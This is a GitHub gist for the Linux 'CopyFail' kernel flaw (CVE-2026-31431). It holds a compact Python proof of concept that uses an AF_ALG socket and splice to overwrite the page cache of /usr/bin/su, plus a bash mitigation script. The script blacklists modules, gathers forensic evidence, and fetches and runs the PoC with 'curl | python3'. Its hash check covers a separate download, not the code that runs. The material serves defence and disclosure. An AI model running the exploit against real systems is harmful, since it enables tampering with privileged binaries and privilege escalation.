Last active
May 6, 2026 10:08
-
-
Save acalatrava/a632d8e224ce05db8a30be1d4e2dd69a to your computer and use it in GitHub Desktop.
CVE-2026-31431 CopyFail mitigation script
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import os as g,zlib,socket as s | |
| def d(x):return bytes.fromhex(x) | |
| def c(f,t,c): | |
| a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) | |
| try:u.recv(8+t) | |
| except:0 | |
| f=g.open("/usr/bin/su",0);i=0;e=b'0xFABAD00D' | |
| while i<len(e):c(f,i,e[i:i+4]);i+=4 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -Eeuo pipefail | |
| # CVE-2026-31431 CopyFail mitigation helper | |
| # | |
| # This script applies a defensive mitigation against exploitation paths abusing | |
| # AEAD/AF_ALG-related kernel functionality to tamper with page cache contents | |
| # of privileged executables such as /usr/bin/su. | |
| # | |
| # IMPORTANT: | |
| # - This is only a mitigation. The proper and recommended fix is to update the | |
| # Linux kernel to a patched version provided by your distribution/vendor. | |
| # - The module-blocking mitigation only works if algif_aead/authencesn are built | |
| # and loaded as kernel modules. | |
| # - If the affected AEAD functionality is compiled directly into the kernel | |
| # instead of being available as unloadable modules, modprobe blacklisting will | |
| # not fully protect the system. | |
| # - A reboot is strongly recommended after applying the mitigation and after | |
| # installing a patched kernel. | |
| # - The script downloads and executes the public PoC from https://gist.githubusercontent.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a/raw/188ba0cc48448aa98139cbae85d212797e2ec2a0/copyfail-poc.py | |
| # using curl | python3. Review the source before running in sensitive systems. | |
| # | |
| # Usage: | |
| # chmod +x mitigate-copyfail.sh | |
| # sudo ./mitigate-copyfail.sh | |
| # | |
| # Optional variables: | |
| # TARGET=/path/to/su | |
| # POC_URL=https://gist.githubusercontent.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a/raw/188ba0cc48448aa98139cbae85d212797e2ec2a0/copyfail-poc.py | |
| # | |
| # If TARGET is not provided, the script will try to locate the su binary | |
| # automatically using common paths and command -v. | |
| # | |
| # Examples: | |
| # sudo ./mitigate-copyfail.sh | |
| # sudo TARGET=/bin/su ./mitigate-copyfail.sh | |
| # sudo POC_URL=https://gist.githubusercontent.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a/raw/188ba0cc48448aa98139cbae85d212797e2ec2a0/copyfail-poc.py ./mitigate-copyfail.sh | |
| # | |
| # Non-interactive mode: | |
| # AUTO_CONFIRM=1 sudo ./mitigate-copyfail.sh | |
| # | |
| # Actions performed: | |
| # 1. Show warnings and require confirmation. | |
| # 2. Check for pre-existing compromise BEFORE running any PoC. | |
| # 3. Compare cached reads vs direct I/O reads of the detected su binary. | |
| # 4. Save high-value forensic evidence if a pre-existing mismatch is detected. | |
| # 5. Flush page cache and establish a clean baseline. | |
| # 6. Run the public PoC check. | |
| # 7. Save lower-value post-PoC evidence if the PoC causes a mismatch. | |
| # 8. Flush page cache again. | |
| # 9. Unload vulnerable modules when possible. | |
| # 10. Persistently block module loading via modprobe.d. | |
| # 11. Regenerate initramfs. | |
| # 12. Re-run the PoC and verify the target binary again. | |
| find_su_binary() { | |
| local candidates=( | |
| "/usr/bin/su" | |
| "/bin/su" | |
| "/usr/local/bin/su" | |
| ) | |
| for candidate in "${candidates[@]}"; do | |
| if [[ -x "$candidate" ]]; then | |
| echo "$candidate" | |
| return 0 | |
| fi | |
| done | |
| local found | |
| found="$(command -v su 2>/dev/null || true)" | |
| if [[ -n "$found" && -x "$found" ]]; then | |
| readlink -f "$found" | |
| return 0 | |
| fi | |
| return 1 | |
| } | |
| TARGET="${TARGET:-$(find_su_binary || true)}" | |
| POC_URL="${POC_URL:-https://gist.githubusercontent.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a/raw/188ba0cc48448aa98139cbae85d212797e2ec2a0/copyfail-poc.py}" | |
| POC_SHA256="${POC_SHA256:-770705c2add7d17f786e8dcfca9309c40feb04a426c4a9554320a2965cafc14f}" | |
| CONF_FILE="/etc/modprobe.d/cve-2026-31431-copyfail.conf" | |
| LOG_FILE="/var/log/cve-2026-31431-copyfail-mitigation.log" | |
| EVIDENCE_BASE_DIR="/root/cve-2026-31431-evidence-$(date +%Y%m%d-%H%M%S)" | |
| PRE_POC_EVIDENCE_DIR="${EVIDENCE_BASE_DIR}/01-pre-poc-high-value" | |
| POST_POC_EVIDENCE_DIR="${EVIDENCE_BASE_DIR}/02-post-poc-lower-value" | |
| BOLD="\033[1m" | |
| RED="\033[31m" | |
| GREEN="\033[32m" | |
| YELLOW="\033[33m" | |
| BLUE="\033[34m" | |
| RESET="\033[0m" | |
| ok() { echo -e "${GREEN}[OK]${RESET} $*"; } | |
| warn() { echo -e "${YELLOW}[WARN]${RESET} $*"; } | |
| fail() { echo -e "${RED}[FAIL]${RESET} $*"; } | |
| info() { echo -e "${BLUE}[INFO]${RESET} $*"; } | |
| step() { echo -e "\n${BOLD}==> $*${RESET}"; } | |
| log() { | |
| echo "[$(date '+%F %T')] $*" >> "$LOG_FILE" | |
| } | |
| run() { | |
| log "RUN: $*" | |
| "$@" 2>&1 | tee -a "$LOG_FILE" | |
| } | |
| need_root() { | |
| if [[ "${EUID}" -ne 0 ]]; then | |
| fail "This script must be run as root." | |
| echo "Usage: sudo $0" | |
| exit 1 | |
| fi | |
| } | |
| need_cmd() { | |
| command -v "$1" >/dev/null 2>&1 || { | |
| fail "Required command not found: $1" | |
| exit 1 | |
| } | |
| } | |
| show_banner_and_confirm() { | |
| echo | |
| echo -e "${BOLD}CVE-2026-31431 CopyFail mitigation helper${RESET}" | |
| echo | |
| echo -e "${YELLOW}WARNING:${RESET}" | |
| echo " This script applies a defensive mitigation, but it does NOT replace" | |
| echo " installing a patched kernel from your Linux distribution/vendor." | |
| echo | |
| echo " The mitigation only works if the affected AEAD components are loaded" | |
| echo " as kernel modules:" | |
| echo " - algif_aead" | |
| echo " - authencesn" | |
| echo | |
| echo " If this functionality is built directly into the kernel, modprobe" | |
| echo " blacklisting will not fully protect the system." | |
| echo | |
| echo -e "${YELLOW}SECURITY NOTE:${RESET}" | |
| echo " This script will download and execute the public PoC using:" | |
| echo " curl -fsSL ${POC_URL} | python3" | |
| echo | |
| echo " Review the PoC source before running this on sensitive systems." | |
| echo | |
| echo -e "${BLUE}What this script will do:${RESET}" | |
| echo " 1. FIRST, check for existing compromise BEFORE running any PoC." | |
| echo " 2. Compare cached reads vs direct I/O reads of:" | |
| echo " ${TARGET}" | |
| echo " 3. Save high-value forensic evidence if a pre-existing mismatch is detected." | |
| echo " 4. Run sync and drop Linux page cache." | |
| echo " 5. Run the public PoC check." | |
| echo " 6. Check whether the PoC caused page-cache tampering." | |
| echo " 7. Try to unload algif_aead and authencesn." | |
| echo " 8. Create:" | |
| echo " ${CONF_FILE}" | |
| echo " 9. Regenerate initramfs using update-initramfs or dracut." | |
| echo " 10. Verify module blocking." | |
| echo " 11. Re-run the PoC and verify the target binary again." echo | |
| echo -e "${BLUE}Output:${RESET}" | |
| echo " Log file:" | |
| echo " ${LOG_FILE}" | |
| echo " Evidence directory, only if needed:" | |
| echo " ${EVIDENCE_BASE_DIR}" | |
| echo " ${PRE_POC_EVIDENCE_DIR}" | |
| echo " ${POST_POC_EVIDENCE_DIR}" | |
| echo | |
| echo -e "${YELLOW}A reboot is strongly recommended after this mitigation.${RESET}" | |
| echo | |
| if [[ "${AUTO_CONFIRM:-0}" == "1" ]]; then | |
| ok "AUTO_CONFIRM=1 detected. Continuing without interactive prompt." | |
| return 0 | |
| fi | |
| read -r -p "Type 'YES' to continue: " answer | |
| if [[ "$answer" != "YES" ]]; then | |
| fail "Aborted by user." | |
| exit 1 | |
| fi | |
| ok "Confirmation received. Starting mitigation." | |
| } | |
| hash_cached() { | |
| sha256sum "$TARGET" | awk '{print $1}' | |
| } | |
| hash_direct() { | |
| dd if="$TARGET" iflag=direct bs=4096 status=none 2>>"$LOG_FILE" | sha256sum | awk '{print $1}' | |
| } | |
| run_poc() { | |
| local label="$1" | |
| local tmp rc | |
| tmp="$(mktemp)" | |
| info "$label" | |
| # Verify if the PoC sha256 hash is the same as the expected hash | |
| local poc_hash=$(curl -fsSL "$POC_URL" | sha256sum | awk '{print $1}') | |
| if [[ "$poc_hash" != "$POC_SHA256" ]]; then | |
| fail "PoC SHA256 hash mismatch. Expected: $POC_SHA256, Got: $poc_hash" | |
| exit 1 | |
| fi | |
| set +e | |
| curl -fsSL "$POC_URL" | python3 >"$tmp" 2>&1 | |
| rc=$? | |
| set -e | |
| cat "$tmp" | tee -a "$LOG_FILE" | |
| if [[ $rc -eq 0 ]]; then | |
| warn "PoC finished with exit code 0. Review the output above." | |
| else | |
| ok "PoC did not complete successfully. Exit code: $rc" | |
| fi | |
| rm -f "$tmp" | |
| return 0 | |
| } | |
| compare_su() { | |
| local cached direct | |
| cached="$(hash_cached || true)" | |
| direct="$(hash_direct || true)" | |
| echo "cached_sha256=$cached" | tee -a "$LOG_FILE" | |
| echo "direct_sha256=$direct" | tee -a "$LOG_FILE" | |
| if [[ -z "$cached" || -z "$direct" ]]; then | |
| fail "Could not calculate one or both hashes." | |
| return 2 | |
| fi | |
| if [[ "$cached" == "$direct" ]]; then | |
| ok "Checking page cache compromise... no mismatch detected, system may not be vulnerable" | |
| return 0 | |
| else | |
| fail "Checking page cache compromise... hash mismatch detected **SYSTEM IS VULNERABLE**" | |
| warn "Cached read and direct disk read do NOT match." | |
| return 1 | |
| fi | |
| } | |
| save_evidence() { | |
| local phase="$1" | |
| local evidence_dir="$2" | |
| local description="$3" | |
| mkdir -p "$evidence_dir" | |
| step "Saving forensic evidence: $phase" | |
| { | |
| echo "phase=$phase" | |
| echo "description=$description" | |
| echo "timestamp_utc=$(date -u '+%Y-%m-%dT%H:%M:%SZ')" | |
| echo "hostname=$(hostname -f 2>/dev/null || hostname)" | |
| echo "kernel=$(uname -a)" | |
| echo "target=$TARGET" | |
| echo "poc_url=$POC_URL" | |
| echo | |
| } > "$evidence_dir/metadata.txt" | |
| cp -a "$TARGET" "$evidence_dir/su.cached" || true | |
| dd if="$TARGET" of="$evidence_dir/su.direct" iflag=direct bs=4096 status=none 2>>"$LOG_FILE" || true | |
| sha256sum "$evidence_dir"/su.* \ | |
| | tee "$evidence_dir/sha256sums.txt" \ | |
| | tee -a "$LOG_FILE" | |
| cmp -l "$evidence_dir/su.cached" "$evidence_dir/su.direct" \ | |
| | head -100 > "$evidence_dir/diff-first-100.txt" || true | |
| { | |
| echo | |
| echo "Loaded modules:" | |
| lsmod | egrep 'algif_aead|authencesn|aead|authenc' || true | |
| echo | |
| echo "Processes referencing target:" | |
| fuser -v "$TARGET" 2>&1 || true | |
| } > "$evidence_dir/runtime-state.txt" | |
| ok "Evidence saved at: $evidence_dir" | |
| } | |
| detect_running_from_su() { | |
| step "Checking whether this script is being executed from a su-spawned shell" | |
| local pid="$$" | |
| local found_su=0 | |
| while [[ "$pid" != "1" && -n "$pid" ]]; do | |
| local comm exe | |
| comm="$(ps -p "$pid" -o comm= 2>/dev/null || true)" | |
| exe="$(readlink -f "/proc/$pid/exe" 2>/dev/null || true)" | |
| echo "pid=$pid comm=$comm exe=$exe" >> "$LOG_FILE" | |
| if [[ "$comm" == "su" || "$exe" == "$TARGET" ]]; then | |
| found_su=1 | |
| break | |
| fi | |
| pid="$(ps -p "$pid" -o ppid= 2>/dev/null | tr -d ' ' || true)" | |
| done | |
| if [[ "$found_su" -eq 1 ]]; then | |
| fail "This script appears to be running from a shell spawned through su." | |
| echo | |
| echo "This can keep the potentially modified su pages mapped in memory," | |
| echo "so dropping page cache may not fully evict the affected pages." | |
| echo | |
| echo "Run it like this instead, from your normal user:" | |
| echo | |
| echo " sudo ./mitigate-copyfail.sh" | |
| echo | |
| echo "Do NOT run:" | |
| echo | |
| echo " sudo su" | |
| echo " ./mitigate-copyfail.sh" | |
| echo | |
| exit 1 | |
| fi | |
| ok "The script does not appear to be running from su" | |
| } | |
| check_su_users() { | |
| step "Checking active processes using the target binary" | |
| local users | |
| users="$(fuser -v "$TARGET" 2>/dev/null || true)" | |
| if [[ -n "$users" ]]; then | |
| warn "There are active processes referencing $TARGET" | |
| echo "$users" | tee -a "$LOG_FILE" | |
| echo | |
| warn "Page cache eviction may be incomplete while these processes exist." | |
| else | |
| ok "No active process appears to be using $TARGET" | |
| fi | |
| } | |
| drop_page_cache() { | |
| step "Synchronizing disk and dropping page cache" | |
| sync | |
| ok "sync completed" | |
| echo 3 > /proc/sys/vm/drop_caches | |
| ok "Page cache, dentries and inodes dropped" | |
| } | |
| kill_su_users_if_requested() { | |
| step "Checking active processes using the target binary" | |
| local pids | |
| pids="$(fuser "$TARGET" 2>/dev/null || true)" | |
| if [[ -z "$pids" ]]; then | |
| ok "No active process appears to be using $TARGET" | |
| return 0 | |
| fi | |
| warn "Active processes are referencing $TARGET" | |
| fuser -v "$TARGET" 2>&1 | tee -a "$LOG_FILE" || true | |
| echo | |
| warn "These processes may keep modified pages mapped in memory." | |
| warn "Killing them may close root shells or interrupt active admin sessions." | |
| if [[ "${KILL_SU_PROCESSES:-0}" != "1" ]]; then | |
| echo | |
| echo "To kill these processes automatically, re-run with:" | |
| echo " sudo KILL_SU_PROCESSES=1 ./mitigate-copyfail.sh" | |
| echo | |
| warn "Continuing without killing active su processes." | |
| return 0 | |
| fi | |
| info "KILL_SU_PROCESSES=1 detected. Attempting graceful termination." | |
| # First try graceful termination | |
| kill -TERM $pids 2>/dev/null || true | |
| sleep 2 | |
| local remaining | |
| remaining="$(fuser "$TARGET" 2>/dev/null || true)" | |
| if [[ -n "$remaining" ]]; then | |
| warn "Some processes are still alive. Forcing termination with SIGKILL." | |
| kill -KILL $remaining 2>/dev/null || true | |
| sleep 1 | |
| fi | |
| remaining="$(fuser "$TARGET" 2>/dev/null || true)" | |
| if [[ -z "$remaining" ]]; then | |
| ok "All processes referencing $TARGET have been terminated" | |
| else | |
| fail "Some processes still reference $TARGET" | |
| fuser -v "$TARGET" 2>&1 | tee -a "$LOG_FILE" || true | |
| return 1 | |
| fi | |
| } | |
| unload_modules() { | |
| step "Unloading vulnerable modules if currently loaded" | |
| local modules=("algif_aead" "authencesn") | |
| for m in "${modules[@]}"; do | |
| if lsmod | awk '{print $1}' | grep -qx "$m"; then | |
| if modprobe -r "$m" 2>>"$LOG_FILE"; then | |
| ok "Module unloaded: $m" | |
| else | |
| warn "Could not unload module: $m. It may be in use or built into the kernel." | |
| fi | |
| else | |
| ok "Module not loaded: $m" | |
| fi | |
| done | |
| } | |
| write_modprobe_conf() { | |
| step "Applying persistent module blocking" | |
| cat > "$CONF_FILE" <<'EOF' | |
| # CVE-2026-31431 CopyFail mitigation | |
| install algif_aead /bin/true | |
| install authencesn /bin/true | |
| blacklist algif_aead | |
| blacklist authencesn | |
| EOF | |
| ok "Configuration file created: $CONF_FILE" | |
| } | |
| update_initramfs_if_available() { | |
| step "Updating initramfs" | |
| if command -v update-initramfs >/dev/null 2>&1; then | |
| run update-initramfs -u | |
| ok "update-initramfs completed" | |
| elif command -v dracut >/dev/null 2>&1; then | |
| run dracut -f | |
| ok "dracut completed" | |
| else | |
| warn "Neither update-initramfs nor dracut was found. Please update initramfs manually if required by your distribution." | |
| fi | |
| } | |
| check_modules_blocked() { | |
| step "Verifying module loading is blocked" | |
| for m in algif_aead authencesn; do | |
| if modprobe "$m" 2>/dev/null; then | |
| fail "Module can still be loaded: $m" | |
| modprobe -r "$m" 2>/dev/null || true | |
| else | |
| ok "Module loading blocked: $m" | |
| fi | |
| done | |
| } | |
| main() { | |
| need_root | |
| need_cmd curl | |
| need_cmd python3 | |
| need_cmd sha256sum | |
| need_cmd dd | |
| need_cmd modprobe | |
| need_cmd lsmod | |
| need_cmd cmp | |
| touch "$LOG_FILE" | |
| chmod 600 "$LOG_FILE" | |
| echo -e "${BOLD}CVE-2026-31431 CopyFail mitigation helper${RESET}" | |
| echo "Target: $TARGET" | |
| echo "Log: $LOG_FILE" | |
| if [[ -z "${TARGET:-}" ]]; then | |
| fail "Could not locate the su binary automatically." | |
| echo "You can specify it manually:" | |
| echo " sudo TARGET=/path/to/su ./mitigate-copyfail.sh" | |
| exit 1 | |
| fi | |
| if [[ ! -f "$TARGET" ]]; then | |
| fail "Target binary does not exist: $TARGET" | |
| exit 1 | |
| fi | |
| if [[ ! -x "$TARGET" ]]; then | |
| warn "Target exists but is not executable: $TARGET" | |
| fi | |
| show_banner_and_confirm | |
| detect_running_from_su | |
| step "0. Checking for pre-existing compromise BEFORE running any PoC" | |
| if compare_su; then | |
| ok "No pre-existing in-memory tampering detected for $TARGET" | |
| else | |
| warn "PRE-EXISTING compromise indicators detected." | |
| warn "Saving high-value forensic evidence before running any PoC or cleaning cache." | |
| save_evidence \ | |
| "pre-poc" \ | |
| "$PRE_POC_EVIDENCE_DIR" \ | |
| "High-value evidence collected before running any PoC. This may represent pre-existing compromise." | |
| fi | |
| step "1. Killing active su processes if requested" | |
| kill_su_users_if_requested | |
| step "2. Forcing a clean reload from disk before running the PoC" | |
| drop_page_cache | |
| step "3. Verifying clean state before PoC execution" | |
| if compare_su; then | |
| ok "Clean baseline confirmed before PoC execution" | |
| else | |
| fail "The target still differs after dropping cache." | |
| warn "This may indicate active mappings, unsupported direct I/O, or another issue." | |
| warn "Recommended action: reboot or make sure to kill all su processes before running the PoC." | |
| exit 2 | |
| fi | |
| step "4. Checking whether the system appears vulnerable using the PoC" | |
| run_poc "Running PoC from $POC_URL" | |
| step "5. Checking whether the PoC modified page cache" | |
| if compare_su; then | |
| ok "PoC did not produce a detectable cached/direct I/O mismatch, the system may not be vulnerable" | |
| exit 0 | |
| else | |
| warn "PoC appears to have modified page cache." | |
| warn "Saving post-PoC evidence. This is lower-value evidence than pre-existing compromise evidence." | |
| save_evidence \ | |
| "post-poc" \ | |
| "$POST_POC_EVIDENCE_DIR" \ | |
| "Lower-value evidence collected after running the PoC. This may have been caused by this script's validation step." | |
| fi | |
| step "6. Cleaning page cache after PoC" | |
| kill_su_users_if_requested | |
| drop_page_cache | |
| step "7. Unloading modules" | |
| unload_modules | |
| step "8. Adding mitigation configuration" | |
| write_modprobe_conf | |
| step "9. Regenerating initramfs" | |
| update_initramfs_if_available | |
| step "10. Verifying modules are blocked" | |
| check_modules_blocked | |
| step "11. Checking that the PoC is no longer effective" | |
| run_poc "Running PoC after mitigation" | |
| step "12. Final verification that memory tampering is no longer present" | |
| kill_su_users_if_requested | |
| drop_page_cache | |
| if compare_su; then | |
| ok "Final verification successful: cached read and direct I/O read match" | |
| else | |
| fail "Final verification failed: cached read and direct I/O read still differ" | |
| warn "Recommended action: reboot, install a patched kernel, and run this script again." | |
| exit 2 | |
| fi | |
| echo | |
| ok "Mitigation completed" | |
| warn "Final recommendation: reboot the system to guarantee a clean kernel and memory state." | |
| warn "Permanent fix: install a patched kernel from your distribution/vendor." | |
| echo "Full log: $LOG_FILE" | |
| echo "Evidence base directory: $EVIDENCE_BASE_DIR" | |
| } | |
| main "$@" |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
CVE-2026-31431 CopyFail mitigation helper
This script applies a defensive mitigation against exploitation paths abusing
AEAD/AF_ALG-related kernel functionality to tamper with page cache contents
of privileged executables such as /usr/bin/su.
IMPORTANT:
https://copy.fail/expusingcurl | python3. Review the source before running in sensitive systems.Usage:
Optional variables:
Examples:
Non-interactive mode:
Actions performed: